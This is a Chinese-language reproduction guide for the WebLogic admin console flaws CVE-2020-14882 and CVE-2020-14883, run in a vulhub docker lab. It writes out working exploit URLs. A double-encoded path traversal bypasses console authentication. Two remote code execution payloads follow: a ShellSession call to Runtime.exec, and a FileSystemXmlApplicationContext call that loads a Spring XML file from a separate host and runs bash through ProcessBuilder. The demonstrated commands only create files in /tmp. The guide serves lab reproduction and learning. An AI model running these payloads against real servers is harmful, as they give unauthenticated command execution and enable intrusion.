Weblogic 管理控制台未授權遠程命令執行漏洞
Weblogic 管理控制台未授權遠程命令執行漏洞(CVE-2020-14882,CVE-2020-14883)
Weblogic是Oracle公司推出的J2EE應用服務器。在2020年10月的更新中,Oracle官方修復了兩個長亭科技安全研究員@voidfyoo 提交的安全漏洞,分別是CVE-2020-14882和CVE-2020-14883。
CVE-2020-14882允許未授權的用戶繞過管理控制台的權限驗證訪問后台,CVE-2020-14883允許后台任意用戶通過HTTP協議執行任意命令。使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic服務器上以未授權的任意用戶身份執行命令。
漏洞環境
我們先下載環境,在github有別人直接搭建好的docker環境我們直接拿來用即可
git clone git://github.com/vulhub/vulhub.git cd vulhub/weblogic/CVE-2020-14882/ docker-compose up -d
訪問IP:7001/console/即可看到一個后台登陸頁面.
影響版本
weblogic 版本:
10.3.6.0
14.1.1.0
12.2.1.4
12.2.1.3
12.1.3.0
漏洞復現
首先通過CVE-2020-14882的權限繞過漏洞,未授權訪問后台管理頁面,通過以下URL訪問
http://ip:7001/console/css/%252e%252e%252fconsole.portal
然后通過CVE-2020-14883來執行任意代碼執行
CVE-2020-14883有兩種利用方法一是通過
com.tangosol.coherence.mvel2.sh.ShellSession,二是通過com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext一、com.tangosol.coherence.mvel2.sh.ShellSession方法直接訪問以下構造的URL即可利用
http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/EDI');")
進入容器發現創建的文件
這個利用方法只能在Weblogic 12.2.1以上版本利用,因為10.3.6並不存在
com.tangosol.coherence.mvel2.sh.ShellSession類。二、com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext方法通用所有
我們構建一個xml文件,將其保存在weblogic能訪問的服務器上:192.168.2.215:8080/EDI.xml:
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/EDI1]]></value> </list> </constructor-arg> </bean> </beans>
然后構造URL即可利用
http:/ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.2.215:8080/EDI.xml%22)
進入容器發現創建的EDI1文件







